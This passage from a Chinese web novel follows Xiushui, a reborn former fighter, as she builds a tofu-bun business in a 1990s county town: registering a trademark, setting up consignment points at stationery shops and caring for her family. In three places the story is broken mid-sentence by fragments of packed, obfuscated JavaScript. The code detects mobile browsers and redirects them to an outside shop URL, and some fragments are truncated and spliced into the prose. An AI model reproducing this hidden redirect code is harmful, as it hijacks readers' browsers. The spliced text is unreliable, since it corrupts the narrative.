吃完了晚饭,秀竹就缠着秀水,要修习武功。秀水也正好想把以前的拳击和散打都捡起来。世道凶险,她得多练练,有了功夫傍身,出行才能无虞。 她找了条布袋子,指使秀竹去挖些干净河沙,装进袋子里。然后两人搭手,把沙袋吊在自家旁边的一棵大树下。秀水先试了试感觉,招式还没生僻,很快就打得虎虎生风,把一旁的秀竹看得目瞪口呆。 “这……这么强吗?姐我看你打拳都有残影了……” 秀水却略觉遗憾。虽然这具身体还算有力气,但跟职业运动员相比,力道和速度都很一般。秀水对其中的差距再清楚不过,毕竟,上辈子她可是被称为“先天力量圣体”的天赋型选手,巅峰时期,一拳能干翻一头牛,让王大刀疤这个老把式都又惊讶又羡慕。 上一世,她因为要在武馆蹭吃蹭住,才跟着学武术、学散打,后来又学拳击。但后来,她却发自内心地喜欢上了格斗。在一场又一场的综合格斗赛中,她一拳一拳地把曾经那个自卑的自己、迷茫的自己、恐惧的自己和懦弱的自己给打败了,活下来的女人变得强悍又自信。哪怕后来面对病痛折磨、面对亲人反目,她也只有遗憾,却从来不曾害怕过。 现在,她也要用双拳来保护自己、保护家人了。她会凶狠地打出每一拳,击碎既定的命运,打破傲慢与偏见,击败压迫与不公,赢得人生的每一场胜利,就跟上辈子一样。 14. 第 14 章 刘瑞英为两双破鞋子怄了几天气,想起来就眼泪涟涟。如今钱退回来了,女儿又给她买了新凉鞋,她的郁闷之情便一扫而空。这次也没再一味心疼钱,很高兴地试穿了新鞋。 水红色半透明的硬塑料凉鞋,穿着又合脚又凉快。刘瑞英两年没穿过凉鞋了,舍不得花钱买。喻庆山倒是有一双,不过那双鞋子已经打了五处补丁。这回有了新鞋,两口子穿着左看右看,满意得不得了。 第二天的早饭时间,刘瑞英破天荒地煮了咸鸭蛋。家里养了两只鸭子,下的蛋向来是要腌好拿去卖,或送去娘家孝敬父母的。因为送鞋子遭父母埋怨,刘瑞英也有些灰心了,对娘家再孝顺又有什么用?最终心疼自己的还是家里人。凭什么好东西都舍不得自家吃? 为防秀水说嘴,她还一煮就是四个,全家每人一个。剥开咸鸭蛋,里面的蛋黄出了油,配上稀饭和煎豆渣饼,再好吃也没有。 转眼八月将尽,各家地里的黄豆陆续熟了。秀水的包子事业看来可以一直做下去,自家种的那点黄豆是远远不够的。意识到这一点后,喻庆山和刘瑞英跟村里相熟的乡邻都打了招呼,等黄豆打下来,都卖给他们家。 黄豆这种作物,附近的粮站不收购,大家平时都是拿到豆腐作坊换豆腐吃,如今既然能换些钱,自然都是愿意的。只是这么一来,好多人都晓得喻家在蒸包子卖了。——难怪他家一天到晚香扑扑的,那香味,闻着馋死个人了。 便有些风言风语传出来,说喻家靠包子挣了多少多少钱。有那眼红的人便也买了豆腐,悄悄在家自己做。谁晓得豆腐包子听起来简单,真上手却根本不是那回事。豆腐焯水到什么程度,调味料怎么放才能既压住豆腥、又不夺豆腐的鲜味,那都是有讲究的。况且用老酵子发面,也不是人人都能发得起来的。就连包子上的褶儿,他们都捏得没有秀水家的好看,有自知之明的人便都歇了心。 有一天刘瑞英正在家搓麻绳,邻居刘婶子悄悄过来,告诉她一个消息。刘婶子没少吃刘瑞英送的豆渣,两家一直处得亲密。据她说,杨定桂也做豆腐包子去卖了,她早上亲眼看见的,自行车后面载个大箱子,箱子上还歪歪扭扭写了几个字:秀水豆腐包。 刘瑞英一听就气炸了。他们家起黑夜爬三更,好不容易把豆腐包生意做起来了,这个杨不死的就来抢生意了。刘瑞英跑去杨家,偏他家没人。刘瑞英只好回来了,坐在家里左思右想,越想越气。 自从秀水跟杨定桂干过两架以后,两家人始终不对付。刘瑞英路上碰到杨定桂都不讲话。杨定桂也在背后摇唇鼓舌,说了许多她家秀水的坏话。以往她都忍着,这回非得一并算个总账不可。 好容易等到傍晚,总算看到杨定桂骑车从门前路过,车后面果然有个箱子,还用件旧衣服盖着。刘瑞英忙几步抢上前,大声问:“杨定桂,你去哪里忙了的?” 杨定桂眼神有些躲闪,“去街上卖鸡蛋了。” 刘瑞英上前掀起箱子上的衣服,上面的字露了出来,果然写着“秀水豆腐包”几个字。 “你卖豆腐包我不怪你,”刘瑞英气愤地指着字说:“可你凭啥写我秀水的名字?” 杨定桂便把车停了,露出她一贯的蛮横,“我怎么用你们家名字了?未必只有你姑娘叫秀水!” “你说得稀奇!全红英大队还找得出第二个叫秀水的人么?”刘瑞英高声喊:“况且就你那手艺,蒸的包子拿出去不是败坏我招牌么?” 两个人在路上大吵起来,立刻吸引了村民们围观。大家纷纷劝解,这回却都是指责杨定桂的。 “人家姑娘叫秀水,才卖秀水豆腐包,你看你又没姑娘,写什么秀水豆腐包?” “看人家挣钱眼红了,也不能这样搞,总有个先来后到!” 杨定桂理屈,只好闭了嘴,默默推车回家,任由刘瑞英在后面骂了半天。晚上等秀水回了家,刘瑞英气还没平,边把饭菜端上桌,边愤愤地讲了这事。 秀水听了也是一怔,这倒提醒了她,得给自家秀水豆腐包注册一个商标了。 第二天卖包子的中途,她便又到工商局去了一趟,朝人打听怎么才能注册商标。没想到连问几人都说不知道。九十年代大家的品牌意识还都非常薄弱,像怀安县这样的小城市,工商局一年上头也受理不了两桩商标注册,所以这些人都不清楚。 秀水站在走廊里,正疑心自己搞错了部门,忽然看到上次投诉时接待她的那个人。那人竟还记得她,见了她便问:“你又来了?这回是想投诉谁?” “来办别的事,”秀水听人叫他老丁,便道:“丁科长,我投诉的案子办理得怎么样了?” 她本是不抱希望的,谁知老丁说:“我去问过了,怎么他们说你动手打人?” “开什么玩笑!”秀水扬眉反驳,“他们开店的可是有三个人!您看我打得过他们吗?” 老丁打量着她,从衣着上看,秀水肯定是住在附近的农村人,但她身上又全无农村人惯有的瑟缩,说话做事大大方方的,又自信又胆大。 但无论她有天大的胆儿,一个瘦瘦高高的小姑娘也不可能打翻两个大男人啊。 “人家说你打人了,还讹了他们几百块钱。”老丁说。 秀水嗤笑,说话像打机关枪:“我讹他?这话您信吗?吞进嘴里的钱他还肯吐出来?向来只有他们蒙人的,几曾见过他们被人讹?五大三粗的几个人,竟然在您面前扮可怜,不觉得搞笑吗?不是,您不会真被骗了吧……” 老丁其实也是这么认为的。那家店他有印象,以前也有几个人打电话来投诉过。这些开店的老板都狡猾得很,去检查时,货架上摆的都是真货,质量没问题;等人走了,他们再把水货摆出来。而且这些人也看人下菜碟,城里精明的主妇们来买东西,他们就给好东西。那些看着老实的人和乡下人来买东西,付钱的时候都能把货给调换了。其实就是笃定别人买了水货也不敢来闹事罢了。 “我已经处罚过了,”老丁说:“你们买东西时也要注意擦亮眼睛。” 他说着转身要走,秀水见他还算认真负责,忙又叫住道:“对了丁科长,您知道在哪儿办理商标注册吗?” 老丁还真知道,他带秀水去了一间办公室,把她介绍给一位刘科长。刘科长听她说了来意,瞪大眼睛打量她,“你?注册商标?注册那个干嘛?” 秀水又颇费了一番口舌,才让刘科长相信,她真是来注册商标的。刘科长虽然分管这个,但自己也不是很熟悉相关条例,临时找了本册子,把需要准备什么材料念给秀水听。秀水找了支笔,把他说的一一记了下来。 晚上回家后,她电视也不看了,独自在房间写写画画。秀竹好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722576|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇地过去瞅了一眼,发现她姐在纸上画了好多图案。 “姐,你干啥呢?” “设计商标图案,”秀水抬头,拿起几张纸,“看看有没有你喜欢的图案?挑一个做咱们豆腐包的招牌!” 这可是很重要的事情,秀竹忙认真看了两遍,指着其中一张说:“这个好看!又简洁,又很清晰明了!” 那张纸上,上面的图案是“秀水”两个字变形组成了一个圆圈,下面写着“秀水豆腐包”五个字。秀水也最喜欢这个设计,便伸出大拇指夸妹子:“有眼光!” 秀竹开心地笑了,说:“姐,等这个招牌定下来,我给你画到箱子上去!” 连着准备了好几天,终于把需要的材料备齐了,秀水又拿着去找刘科长,交了三百块钱,便算是初步受理了。接下来还要审查材料、进行公告,整个过程繁琐又漫长。秀水并不着急,不就是需要时间吗?她这么年轻,有的是时间。 忽忽便到了八月底,刘瑞英和喻庆山开始给秀竹收拾行装,准备送她去县一中读书了。 自从秀竹拿到录取通知书,村民们便有艳羡的,也有说酸话怪话的。连妯娌蒋士芳都过来问,为什么不让孩子读县师范。在农村人眼里,县师范就是极好的出路了。读了高中,万一考不上大学,岂不是白读了? 河边洗衣服的队伍中也有人笑话,喻庆山两口子不清白,一个女孩子,花那些钱读书有啥用?到时候还不是别人家的人? 刘瑞英也听到这些风言风语,到河边清洗衣服时,便故意大声说:“不是我夸孩子,我们秀竹从小就聪明,回回考试得第一。她考上了好学校,我难道不让她读?做人爹妈可不是这么做的。现在是新社会,男女都一样,她想读多久都成。等她以后上了大学,我还指望她给我养老呢……” 如今村里人对刘瑞英也客气起来了,毕竟还指望把自家黄豆卖给她。听了她这话,也没人当面反驳,反而有些跟她相好的人夸她命好,大女儿能干,小女儿聪明,个个都是好样的。哪怕都是些面子话,刘瑞英听着也开心。 到了八月三十,大清早喻庆山就骑着自行车,后座一侧挂着被窝卷和行李,喻秀竹侧身坐在另一边,父女俩一起去县一中报道。 一中校园里,新生和家长络绎不绝穿行在宿舍和教学楼之间,一个个都喜气洋洋的。喻庆山和女儿报了名,把行李送上宿舍楼。这届高一的孩子都住五楼,也就是顶楼。喻庆山一进去就看到寝室里还有好几位家长,都在给孩子铺床。 家长们都相□□头微笑,算是打过招呼。喻庆山和女儿搭手铺床的间隙,悄悄打量着别的孩子和家长,看样子都是城关人。来之前刘瑞英专门炒了花生米、煮了咸鸭蛋,都用玻璃瓶封装着,他把瓶子从包里拿出来放好,下楼时又塞给秀竹五十块钱,小声嘱咐:“住集体宿舍,自己的钱要放好。该买什么就买什么,不要舍不得钱。没钱了就找家里拿……” 罗罗嗦嗦嘱咐了一大通,才骑着车回家。独自一人在路上时,喻庆山想到别人家孩子穿的衣服都颜色鲜亮、款式入时,只有他的秀竹,上身那件短袖白衬衣是姐姐穿过的,下面穿条自家做的棉布裤子,小脸晒得黑黑的,一看就知道是农村孩子。 真不知道秀竹会不会跟秀水早先那样,在外面也被人欺负。他越想越怆然,险些滴下泪来。 15. 第 15 章 这天秀水回去得比较早,到家时天还没黑。进屋后,堂屋冷冷清清的,一个人也没有。秀水不由想,家里少了一个人,冷清了好多。 喻庆山和刘瑞英都在厨房,一边做饭一边聊着天,脸上都有些郁郁的。秀水有点好笑,“怎么了?莫不是竹子去上学你们舍不得?” 刘瑞英见她回来,忙笑道:“又在胡说八道!能读书是再好没有的事,好多人想读还读不了呢……” “我和你妈正在商量一点事,”喻庆山也换了一副神情,道:“我想反正家里在磨豆腐,到时候多磨点,我也骑着车去各村转悠着卖。” 秀水猜疑地看看他们,没有说话。磨豆腐可不是什么容易事。世上三大苦,撑船打铁磨豆腐,这推磨可是顶顶辛苦和麻烦的事情。他们家每天光是做豆腐馅儿,两个人就要磨个把钟头的黄豆,如果再做豆腐去卖,岂不是要推半天磨? “那太辛苦了,”秀水说:“也卖不了几个钱。况且地里的活儿你俩不干了?” 喻庆山说:“哪怕少,多少也能挣两个钱。” 刘瑞英叹了口气,道:“你爸现在一门心思就想多挣几个钱。人家的父母有本事,孩子都有好衣服好鞋子穿。就咱们家的姑娘,穿的都是些破衣烂衫……” 喻庆山忙拦着道:“我不过就那么说了两句,你跟孩子说这些干什么?” 秀水转念一想就明白了,这必定是老喻同志去送秀竹,看到别的同学家庭条件都好,自己心里难受起来,两口子倒都是心疼女儿的实心人。她想了想便说:“那也不用去卖豆腐。现在咱家豆腐包子卖得正俏,多做些包子不就行了?” 但秀水一个人去县城叫卖,一天二百个包子已经是上限了。喻庆山和刘瑞英一来是家里活儿太多,走不开;二来他俩去县城卖东西,秀水也并不放心。沉吟片刻,秀水便有了个主意,但并没有告诉父母,而是说:“我来想想办法。” 在县城卖了几个月包子,秀水豆腐包已经小有名气。现在秀水每天装二百来个包子,不到天黑就可以卖完。甚至有人知道她如今在菜市场附近卖包子,专门跑过来买,说以前在学校门前买过,她家包子馅大、料足、做得扎实,家里人都爱吃。 七八月份孩子们放假,秀水每天都在菜场和居民区卖包子。但随着新学期的到来,学校周边的市场她也不想丢。除了小学和二中,县城还有两所中小学,每天上学放学的人也很多。如果能在校门口摆个摊设个点,保守估计每天也能卖五六十个包子。 她在家盘算了一夜,第二天依旧去菜市场卖包子。看看卖得差不多了,才骑车去了小学旁。学生们正在上课,街边静悄悄的。秀水便去附近文具店找到那位相熟的女老板。 这老板自从帮她当了一回托儿,每次见秀水都很亲热,有时还让她在店门口歇脚。见了秀水,女老板便说:“我昨天还在说,学生都开学了,你怎么还没来。” 秀水便笑,说:“婶婶,我想跟你商量一件事儿。” 女老板忙从柜台里走出来,“啥事你说。” “我想在你这儿设一个代销点,”秀水说:“我每天早上送五十到一百个包子过来,放在你这儿。你来卖。每个包子给你提成五分钱。卖不出去的都归我。你看行不行?” 女老板飞快地在心里算了个账,一百个包子她能赚五块钱。别看钱少,架不住积少成多,一个月时间就等于多了一百来块钱。而且也不费什么事,文具店主要是做放学时的生意。早上上学孩子们都匆匆忙忙的,根本来不及在文具店细看。她兼带着卖包子也不误事。 更何况秀水前段时间一直在附近卖包子,她亲眼看到她的生意越做越好,放在她这里代卖,根本不愁销。而且就算卖不动,对方刚才不也说了吗?又不用她赔,怕什么? 当下她就笑容满面地答应了,“可以呀,不过我也要先和你说好,天气热,没卖出去的包子坏了,我是不管的。” “那肯定的,我一开始也不会带很多来。如果卖得好,我就多送点。” 两人就这么说定了,秀水又骑车去了二中旁边,如法炮制,在另一个文具店里开设了一个豆腐包代销点。 她在心里盘算,如此一来,这两个地方她就不用守着了,就算城管来了也不怕。她每天就在菜市场卖包子,有空就去另一所小学门口开拓市场。 当天晚上,她回到家,把在文具店设立了两个代销点的事说了,喻庆山和刘瑞英又惊又喜。 “哪怕赚得少点,也是很有赚头的,”刘瑞英算着账,说:“就算这两个地方只能卖五十个包子,那一天下来,咱们也能多卖出一百个呢,那就是二十块钱!再加上你每天卖两百个,这么算下来咱家毛收入一个月就……就快两千了?” 这个惊人的数字把她和喻庆山都吓着了,喻庆山忙提醒她:“哪有这么多?阴天下雨卖得少,再说孩子们星期天不上课,不用送过去。是吧秀水?” “那也不少了!”刘瑞英满脸是笑,忍不住又道:“秀水啊,我这心里怎么老是不踏实呢?人家真的要帮咱们卖?不会是骗咱们的吧?” “骗我们干嘛?说好了一天一结账。”秀水忍不住笑,说:“再说人家也不算帮咱们,卖得越多,人家赚得也多呢。” “那我得赶紧做几个保温箱去!”喻庆山忙站了起来,“明天就送过去。要不然人家见咱们总也不送,还以为不卖了。” 刘瑞英也站起来,“我给自行车链条抹点油去,骑着也轻省些!” “等等!”秀水赶紧制止住他们,说:“我就想问,明天一大早做三百多个包子,来得及吗?” “来得及!”喻庆山语气坚定,神情坚毅,“我一夜不睡都要把包子做出来!” 说着他扭头就去找泡沫板。刘瑞英想到箱子上面要写招牌,也起身去找墨汁和毛笔。全家人连夜做箱子、写招牌、给自行车搭架子,刘瑞英又另外刷洗出一个大木盆,准备明天多和一盆面,直忙到快十点才上床睡觉。 刘瑞英心里有事,只朦胧睡了一觉,就起身看家里那老式挂钟。指针刚过凌晨一点。她忙忙地起了床,叫醒喻庆山,两人打着呵欠去了厨房。 夫妻俩一个倒水和面,另一个清洗泡好的黄豆,然后搭手磨豆浆、压豆腐,整忙活了一早上。到四五点钟秀水起床时,蒸好的包子已经放进了四个保温箱。 然后喻庆山把箱子搬到自行车上,拿绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们家种了十来亩地,六亩多水田,四亩多旱地。两亩地的黄豆需要一镰一镰地砍出来、捆扎好,运到晒谷场上,再摊铺开来,用连盖反复捶打。然后是翻场、扬场、晒豆子,一天忙下来,她手脚像面条一样,软绵绵的,啥力气都使不上了。 有天她在晒谷场上筛豆子,突然头一晕就倒在了地上,把喻庆山脸都吓白了,抱着她又是拍脸、又是掐人中,旁边晒谷场上的刘婶子飞奔着舀了一瓢水过来,喂给她喝。刘瑞英悠悠醒转,先是喝了两口水,又被喻庆山连背带扛地弄进了屋,只觉得恶心想吐。 她挣扎着,想歇一会儿再去把黄豆收进来。谁知躺在床上就昏睡过去,晚饭都没吃,整整睡了一夜。第二天醒来时,外面已经是天光大亮。刘瑞英大惊失色,忙翻身下床,就见外面喻庆山独自在翻晒昨天打下的黄豆。 “包子呢?”刘瑞英急得鞋都没穿,“今天没做包子?” “我跟秀水早就送过去了,”喻庆山忙说:“秀水说了,叫你今天务必歇一天。” 刘瑞英听见包子生意没耽误,这才放了心。她别的不怕,就怕秀水刚开张的代销点黄了。听说让她歇一天,刘瑞英不以为意,“歇歇歇!这哪是歇的季节?难道等黄豆花生落在田里?那不成全村的笑话了?” 她到底是没听丈夫的话,又拿着铁锹去另一块地里刨花生去了。 16. 第 16 章 晚上秀水卖完包子回家,看到刘瑞英从田里回来,衣服汗得透湿,那脸色就很不好看。 刘瑞英觑着女儿的臭脸,不知为什么,心里竟然有点发虚。天知道,以前她才是这个家的当家人,到底从什么时候开始,她竟然害怕女儿说她了? “身体是革命的本钱,健康才是第一位的!”秀水皱眉训她,“你跟我爸天天起那么早,白天不抽空歇一歇,还一天到晚地忙地里的活儿,非得把身体累垮吗?进了医院,你辛苦挣的钱就是张废纸,那你挣钱的意义是什么?” 刘瑞英心想,钱就是钱,到哪儿都不可能是张废纸。但看看女儿的表情,她到底是没敢把这话说出口,只是低声道:“好好好,我晓得了。我这不也是心急吗?” “自家忙不过来就请人!”秀水说:“爸,你去问问大妈和刘婶子,看她们有没有空,咱家出钱请人干活。” 刘瑞英一下子就急了,“怎么忙不过来?我跟你爸两个人在家,怎么就忙不过来了?还花钱!咱家有多少钱够这么花的?” “你昨天都晕倒了!”秀水提醒她, “行行行,我以后中午多睡会儿,”刘瑞英主动退了一步,“慢点搞,总能把活儿干完的。” 喻庆山也说:“这季节不好请人,大家都在忙自家田里的事。我们慢慢来就是了。” 听他这样说,秀水才罢了。晚上她躺在床上谋划,包子生意扩大了,确实挣钱,但要是把喻庆山和刘瑞英累病了,那就得不偿失了。 主要还是磨豆浆太费时费力,这段时间她也到处问过,整个县城都没有那种打豆浆的电动机器。如果有电动磨浆机,劳动量将大大降低。另外,红英大队离县城还是太远了,光是路上就要耗近两个小时。如果能把家搬到城里就好了。 但那几乎是不可能的事情。县城的房屋很稀缺,都是各单位自己盖了房,再分配给干部职工住。不存在买卖房屋,只有相互转让。但即使转让,也只限于单位内部职工。秀水甚至还想过在县城郊区租房,也因为没找到合适的地方而不得不作罢。 既然眼下没有别的办法,只能让他们多吃点有油水的东西了。于是第二天秀水从街上回来时,带回了一斤多五花肉。 进屋时正碰上有村民来卖黄豆,秀水便没把肉拿出来。直到人走了,她才把肉提到厨房,对刘瑞英说:“晚上炒点五花肉吃。” 刘瑞英看到那么大一块肉,就像是割了自己的肉,“你这孩子,手里有两个钱就攒不住!不年不节的,割什么肉!” “你不吃我吃!”秀水说:“天天豆渣合菜,嘴里淡出鸟来了。” 喻庆山见母女两拌嘴,忙从中解劝,“算了算了,买回来了你就做呗。” 刘瑞英愤愤嘀咕着,割下一半肉炒了青椒。还有一半,她用盐腌起来,留着明天吃。因为明天秀竹就要放假了。 傍晚,秀竹被她爸接出来的时候,脸上郁郁的。也不知道是军训晒的,还是在生气。喻庆山心里一咯噔,忙问:“在学校跟同学闹矛盾了?” 秀竹摇头,一路都不想说话。等回了家,她才不情不愿地告诉父母,军训完后学校举行了分班考试。全校四百多人,喻秀竹名列第一百二十名。 她生平没考过这种惨烈的名次,整个人都从开学的欢欣鼓舞中沉默了下来。 刘瑞英和喻庆山听了,心情也很沉重。县一中每年能上大学的也就四五十个孩子,其中还包括大专生。一百多名……大学是没指望了。 但喻庆山还是鼓励孩子,“没事,不就考差了这一次吗?咱们再努力。” “对!”刘瑞英也说:“吃了饭你去做会儿作业!” 秀水知道妹妹要回家,这天也回来得早。她一进屋就察觉气氛有些沉重,也猜到了几分。便问秀竹:“是不是没考好?” “一百多名!”秀竹突然狂喊,“我才考了一百多名!” 喻秀水笑了起来。本来大家都心情沉重,被她一笑,这事立刻显得没那么沉重了。 “我早就说了,你英语不行,暑假应该好好补一下,”秀水甚至有点幸灾乐祸,问她妹子:“你补了吗?” 喻秀竹压根儿没有补习。她一来是没有补习的习惯,二来农村孩子手里永远有活儿。她心疼父母和姐姐,自己多做一点,他们就可以少做一点。 没想到真被她姐说中了,军训那几天,她跟新同学聊了聊,发现有人已经把数学预习到高二了。新学期开始上课,英语老师竟然直接用英语讲课!她都听不懂在说什么!到了这个时候,她才有点慌乱,深深感受到了重点高中和乡村初中之间的差距。 “咋了?后悔了?”秀水笑她,“还有三年呢,这就害怕了?” 姐姐的嘲笑反而让秀竹心里好受点了,对啊,她的同学都提前起跑了,而她落在后面,考试比别人差不是很正常吗? “我才不怕呢,我就是后悔,暑假时间都浪费了。”秀竹说。 “那咱们好好补!”刘瑞英也忙说:“以后回了家,不要你干活了。你就一心一意在家搞学习!” “下次放假我不回来了。”秀竹想了想,说:“路上太耽误时间。我就在学校看看书。” 孩子想搞学习,喻庆山和刘瑞英还有啥好说的?忙满口答应了。反正秀水天天去城里,隔三岔五看看她妹子,给她送钱送吃食不就是了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732763|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等吃完晚饭,秀竹独自去了树下。她泄恨似的拳脚相加,把沙袋打得啪啪响。 她会追不上班里的同学?她才不信! 她会学不好英语?她才不信! 女孩子上了高中就后劲不足?她才不信! …… 酣畅淋漓地捶打完了沙袋,秀竹心情平静地走进卧室,拿起了刚发不久的书本。晚上刘瑞英和喻庆山在堂屋里看《封神榜》,一墙之隔的姐妹俩却在灯光下各干各的事,一个学着打算盘,另一个在背英语单词。房间里没人说话,只有极轻的读书声,和算盘珠子偶尔拨动的声音。 转眼到了九月下旬,秀水打算休息一天,还强行让父母也休息一天。因为,期盼已久的北京亚运会终于要开幕了! “我们亚洲,山是高昂的头。我们亚洲,河像热血流……” 黑白电视机的屏幕上,韦唯正在激情演唱。铿锵有力的歌声飘荡在亚运会开幕式的上空,也飘荡在红英大队的这座农家小屋里。 刘瑞英和喻庆山坐在电视机前,手里还剥着花生,观看着亚运会的开幕式。 “我们国家现在也能办大事了!看看这气势!”喻庆山看着亚运会宏大的场面,激动地说。 “那是,好多人都捐了款的!”刘瑞英虽然没捐过款,但她看新闻。电视里的新闻隔三岔五播放捐款的新闻,退休老干部、环卫工人、小学生们纷纷捐款,就为了办好这场盛事。 “这精彩!这文艺演出!这得多少人在一起练习呀!”刘瑞英不停感慨。 喻庆山则关注着中国的运动员们,“看看,这些孩子跟秀水年龄差不多,就开始为国争光了。” “也不晓得这一回能得几块金牌。”刘瑞英豪气地说:“要是得了第一,咱们也庆祝一回,吃点好的。” “哟!”秀水和喻庆山都扭头看她,“不心疼钱了?” “我是那么小气的人吗?”刘瑞英翻起了白眼,“我那是该省就省,该花就花!” 不过,接下来的比赛他们就没再看了。能看一场开幕式,在农忙季节已经算是非常奢侈的了。谁有那个时间看比赛?包子不要卖了?田里稻谷不要收了?地里花生不要刨了? 到了晚上,他们会和秀水一起看看新闻。秀水没办法看比赛实况直播,但每晚的综合新闻肯定要看一看的。他们羡慕着17岁的邓亚萍,也佩服着中年老将许海峰。但低头看看自己的双手,秀水又觉得,能健康地重活一回也不错。 上一世,她在赛场上奋力搏击;这一世,她在生活中奋力搏击。即使无人加冕,她也一直都是那个格斗女王。女王从不向生活低头,从不为命运哭泣。 17. 第 17 章 十月中下旬,田里的稻谷陆续收得差不多了。晒谷场上天天都摊晒着东西,稻谷、黄豆、花生、玉米、芝麻……,来喻家卖黄豆的人也多了起来。 黄豆的成色有好有坏。颗粒是否饱满、晒得干不干、里头的渣滓多不多……这都是有讲究的。有些村民知道喻庆山比较好说话,所以更愿意趁他在家时来卖黄豆。不过,他们很快发现,喻庆山也变了,——变得狡猾起来了。 “五叔,你这黄豆太湿了,拿回家再晒两天吧。”喻庆山用手捻着豆粒,和气地、诚恳地朝对方说。当对方抱怨些诸如“哪里湿了”“往年都这样卖”之类的话时,他也不急,只是坚持自己的看法,“我做豆腐的,知道什么样的豆子合适……您要实在不愿意,也可以到镇上去卖……” 话说到这份上,对方也不能再纠缠,否则双方都有失脸面。还有一个人把前年的陈黄豆掺在新豆子里拿过来,也被喻庆山客客气气地拒绝了,“陈豆子容易发霉。我大姑娘说了,那叫黄曲霉素,有毒。咱家做的都是进口的东西,可不敢收这个。” 那人恼羞成怒,愤愤地把黄豆提走,还放了些“再有好豆子也不卖你了”之类的狠话。回家后被他老婆戳着额头骂了半天。因为陈旧发霉的豆子哪里都没人要,要想卖去豆腐作坊,还要她一颗颗择出来。 大多数村民都是识好歹的,他们客气又亲热,背过来的豆子筛得很干净,晒得也干巴。毕竟谁都不是傻子,他们去别处卖,人家也要挑剔成色的。如今卖到本村,价钱公道,还省了出门的功夫。 当然也有村民含酸带醋地打听:“你们家生意现在做大了哦,一天卖多少包子?是不是要当老板了?” 每逢这时候,刘瑞英便叹气,“当什么老板哦,起早贪黑,还不是为了年底给家里多扯几尺布,给孩子们做两身衣裳。” “明年房子可以盖起来了。”有村民便进一步猜测。 “哪里来的钱盖房子?还差一大截呢,”刘瑞英转而向别人商量,“到时候盖新房,少不了要找你们支援两个钱,可不要装着不认识呀……” 秀水有时候在旁边帮着计秤算账,听刘瑞英诉苦,不由很佩服她妈这个性格,沉得住气,有钱也不飘,是个干大事的人。 她却不知道,刘瑞英把钱袋子捂得死紧,那是生怕别人来抢她的生意。饶是这样,村里也还是有人学秀水去县城卖包子。不过等到真做了这个小生意,才知道其中的辛苦。起早贪黑也就罢了,乡下人在县城摆小摊,哪有不受欺负的?不是被城管赶,就是被小混混们讹诈。再说做的包子也没有喻家的好吃,经常卖不出去。有人上了两回当,便歇了这个心思。 也就是秀水,嘴巴甜、眼睛亮、脑瓜子活络,卖了几个月包子,竟没被城管抓到过一次。 除了黄豆,喻庆山还买了一千多斤小麦屯在家里。收购得差不多了,他便赶紧忙起了田里的活儿。刘瑞英则把今年刚摘的棉花拿到镇上弹好了,着手给家里人做冬衣。 家里的棉衣棉鞋都是刘瑞英亲手做的。并非是她特别能干,而是这年月的主妇们都有这项技能。县城里当然有棉袄和棉鞋卖,款式和颜色还很漂亮,可是贵呀,一件棉袄的花费顶得上在家做三件,那袄子还薄薄的,哪有妈妈们亲手缝的棉袄那么厚实? 花了好几天时间,刘瑞英先缝好了秀水的棉袄。想到她天天在外面跑,刘瑞英铺的棉花就尤其多、尤其厚。以致于秀水试穿时,觉得胳膊都合不拢。整个人鼓鼓囊囊的,像某个动画人物大白。 崭新的棉花袄子,暖是真的暖,丑也是真的丑。就连秀水这么不在乎外形的人都觉得,这是不是太夸张了一点。但是,时间很快到了十一月,几场老北风一刮,一天比一天冷。秀水很快就觉得,这大棉袄真是个好东西,简直能救她狗命。 天气变冷后,早上起床变得份外困难起来。连刘瑞英这个钻进钱眼里的人,都开始贪恋起温暖的被窝来。 “起来了!庆山,起来起来!”她闭着眼在被窝里嘀咕,听到老式挂钟再次发出响声后,才终于狠下决心,一骨碌从被窝里钻出来。然后在身体反应过来之前,套上棉袄棉裤,缩着脖子去了厨房。 虽然冬天起床很困难,但等身体暖和了,干活倒比夏天好受。煮豆浆时,整个厨房都缭绕着腾腾热汽,有时喻庆山甚至要脱下棉袄,只穿着毛衣里里外外地忙活。 等秀水打着哈欠起床,包子往往都蒸得差不多了。厨房的大灶燃着温暖的火苗,一笼笼蒸屉整齐码放在大锅里。热气高高腾起,整间厨房都溢满了白色的、暖融融的水汽。等白里透油的包子出了锅,刘瑞英便用手沾了凉水,趁热放进一个个泡沫箱里。箱子外面用旧棉衣厚厚裹一层,可以一直保暖到八九点钟。 冬天天亮得迟,秀水和喻庆山出发时,外面仍跟黑夜一样。两人骑着自行车,穿过寂静又黑暗的乡村公路。他们戴着一种名叫“狗钻洞”的帽子,套在头上只能露出眼睛,是电影里劫匪们常用的道具。因为太丑,村里只有老年男人才会戴这个。 但是秀水无所谓,为了保暖,她无所不用其极。丑帽子和大手套算什么?她还会在腰间系一根绳子,这样风就吹不进棉袄里面去了。到了县城,她把绳子解了,帽子取下来,又成了一个利利索索的小姑娘。 这样的辛苦,唯有数钱时才能得到少许慰藉。所以秀水现在数钱都数两遍。但凡少数一遍,就想撂挑子不干了。 